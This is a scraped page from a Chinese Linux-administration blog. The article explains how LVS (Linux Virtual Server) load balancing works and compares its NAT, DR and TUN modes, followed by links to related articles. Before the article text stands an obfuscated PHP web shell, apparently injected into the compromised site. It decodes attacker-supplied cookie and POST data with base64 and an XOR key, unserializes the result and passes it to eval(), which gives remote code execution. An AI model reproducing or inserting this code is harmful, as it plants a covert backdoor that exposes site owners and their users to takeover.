$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} LVS的工作原理 | Linux运维部落

LVS的工作原理

令狐冲 • • Linux干货

LB Load Balancing:解决方案

硬件：

F5 BIG-IP

思杰 Citrix Netscaler

A10 A10

Array 

Redware

软件：lvs

 linux Virtual Server 作者章文嵩博士

ipvs相当于netfilter，工作在内核中，将用户转发

   框架，需要依赖以规则完成转发

   ipvs集群服务

     定义一个或多个后端的服务器

ipvsadm

LVS：四层交换、四层路由（据说并发400w,F5 600w）

VIP：

keepalived

CIP   client IP

Director：负载均衡器

real server

DIP：跟real server交互

RIP

CIP<–>VIP–DIP<–>RIP

LVS类型：

NAT：–>(DNAT)

DR

TUN

FULLNAT

LVS的工作原理

blob.png

LVS NAT的模型

blob.png

LVS NAT的特性

1.RS的应该使用私有地址

2.RS的网关必须指向DIP

3.RIP和DIP必须在同一网段内

4.请求和响应的报文都得经过Director，在高负载场景中，Director很可能成为性能瓶颈

5.支持端口映射

6.RS可以使用任意支持集群服务的OS

blob.png

LVS DR类型

1.让前段路由将请求发往VIP时，只能是Dirctor上的VIP

解决方案

1.静态地址绑定

未必有路由器的配置权限

Director调用时静态地址绑定将难以使用

    2.arptables

    3.修改linux内核参数，将RS上的VIP配置在lo接口的别名上，限制linux仅对对应接口的ARP请求做相应

LVS DR类型的特性

1.RS可以使用私有地址，还可以使用公网地址，此时可以直接通过互联网连入RS，以实现配置、监控等

2.RS的网关一定不能指向DIP

3.RS跟Dirctory要在同一物理网络内（不能有路由器分隔）

4.请求报文经过Director，但响应报文一定不经过Director

5.不支持端口映射

6.RS可以使用大多数的操作系统

blob.png

LVS TUN类型：IP隧道

  1.RIP，DIP，VIP都得是公网地址

  2.RS的网关不会指向也不可能指向DIP

  3.请求报文经过Director，但响应报文一定不经过Director

  4.不支持端口映射

  5.RS的OS必须得支持隧道功能

总结：最常用的还是LVS的DR模式，在线上已经部署过很多次了

原创文章，作者：令狐冲，如若转载，请注明出处：http://www.178linux.com/62847

赞 (0)
令狐冲令狐冲
0
上一篇 2016-12-07 11:58
下一篇 2016-12-07 16:38

相关推荐

  • Linux基础之—基础权限和特殊权限以及FACL权限管理

    Linux是多用户多任务的操作系统，了解掌握Linux的权限分配机制，也是管理Linux系统安全的基础之一。 文件目录的权限格式如下：   1.其中权限位可以看对象到是一个9个占位符，其实分为三位一组： （1） 第一组：对应的是文件或目录的所有者属主权限。owner （2） 第二组：对应的是文件或目录的所属组权限。group （3） 第三组：对应的…

    Linux干货 2016-08-07
  • mongodb及NoSQL入门学习总结 Linux干货

    mongodb及NoSQL入门学习总结

    分布式系统理论 一、 CAP: 分布式系统只能够，满足其中两个  1. Consistency ： all nodes see the same data at the same time 一个节点修改后，需马上复制到第二个节点。如果网络故障，第二个节点将不能同步第一个节点更新的数据。这就是不能满足一致性。 2. Availibility：a guarant…

    2017-09-14

  • 8.6正则表达式grep及其他文本处理命令练习

    正则表达式grep及其他文本处理命令练习 上课练习 1 1、centos 6找出ifconfig命令结果中本机的IPv4地址 [root@qzx ~]# ifconfig|head -n 2|tail -n 1|tr -s ' [:alpha:]'&…

    Linux干货 2016-08-07

  • linux目录管理之整合篇

    目录配置：     1，根目录，所有目录都由根目录衍生出，与开机，还原，系统修复等操作有关。     2，根目录下各子目录应存放的文件。             I,/bin和/sbin目录，/bin放置的是单用户维护模式下能被操作的命令，可以被root和一般…

    Linux干货 2017-05-29

  • MBR与GPT分区结构的不同及磁盘分区命令总结

    一、MBR分区结构 主引导记录（Master Boot Record，缩写：MBR），又叫做主引导扇区，是目前比较流行的一种分区结构。磁盘的0磁道0扇区称为MBR，它的大小是512字节，这个区域被分为三个部分： 第一部分为boot loader（主引导程序），占446字节； 第二部分为Partition table（分区表），即DPT，占64字节，每个分区项…

    Linux干货 2016-08-29
  • 浅谈Linux账号与用户组管理 Linux干货

    浅谈Linux账号与用户组管理

    在学习linux系统中，最重要的莫过于对系统账户的管理以及如何恰当的分配用户组权限。在我们登陆linux系统的时候，输入的账号，其实并不是linux所能识别的。由于计算机仅能够识别0与1，所以它仅能认识ID(一组号码）用户标示符UID、GID。相应的你所输入的账号与ID的对应关系就保存在/etc/passwd当中。 对于每一个文件来说都具有”所有者与所属用户…

    2017-07-22
电话咨询
在线咨询